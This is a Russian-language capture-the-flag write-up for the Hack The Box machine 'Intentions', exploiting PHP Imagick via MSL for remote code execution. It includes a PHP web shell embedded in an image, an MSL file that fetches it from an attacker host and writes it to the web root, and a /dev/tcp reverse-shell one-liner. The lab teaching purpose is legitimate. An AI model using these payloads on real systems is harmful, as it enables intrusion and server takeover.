В этой небольшой статье, в рамках прохождения уязвимой виртуальной машины Intentions с площадки Hack The Box, я продемонстрирую эксплуатацию уязвимости в модуле PHP Imagick.
Еще по теме: Эксплуатация уязвимости f-строки в Python
Эксплуатация уязвимости в модуле PHP Imagick
В статье отмечено наличие SSRF в конструкторе класса Imagick, но, помимо этого, использовав MSL (Magick Scripting Language), можно развить уязвимость до RCE. Это встроенный язык ImageMagick, который облегчает обработку изображений. С его помощью можно в числе прочего взаимодействовать с файловой системой. Это интересно, учитывая, что на нашем сайте есть возможность редактировать изображения.
Пробуем изменить оттенок, после чего просматриваем запрос в Burp History.
В запросе передается оттенок и путь к файлу картинки. Используя этот запрос и метод из статьи, попробуем передать файл MSL, указывающий на изображение с веб‑шеллом, расположенное на нашем веб‑сервере, а потом попробуем обратиться к такому изображению.
Первым делом сделаем изображение с веб‑шеллом.
1 |
convert xc:red -set 'Copyright' '<!--?php system($_GET["a"]); ?-->' expl.png |
Передавать будем вот таким файлом MSL.
1 2 3 4 5 |
<?xml version="1.0" encoding="UTF-8"?> <image> <read filename="http://10.10.14.42/expl.png" /> <write filename="/var/www/html/intentions/public/expl.php" /> </image> |
А теперь нам нужно одновременно запустить два запроса в Burp Intruder. В первом мы будем передавать файл MSL, а во втором пытаться успеть к нему обратиться, пока он не исчез из временного каталога /tmp.
Для обоих интрудеров устанавливаем 100–1000 нагрузок с пустой нагрузкой.
После запуска обоих интрудеров в логах веб‑сервера видим обращение к изображению с нагрузкой.
Содержимое картинки с нагрузкой было получено и сохранено на сервере в файл PHP. Пробуем выполнить команду id.
1 |
http://intentions.htb/expl.php?a=id |
Команды выполняются, а значит, запускаем листенер pwncat-cs -lp 4321 и выполняем реверс‑шелл:
1 |
sh -i >& /dev/tcp/10.10.14.42/4321 0>&1 |
ПОЛЕЗНЫЕ ССЫЛКИ:
- Атака на API веб‑приложения Django
- Взлом соленого пароля методом брутфорс
- Захват Active Directory на виртуальной машине с HackTheBox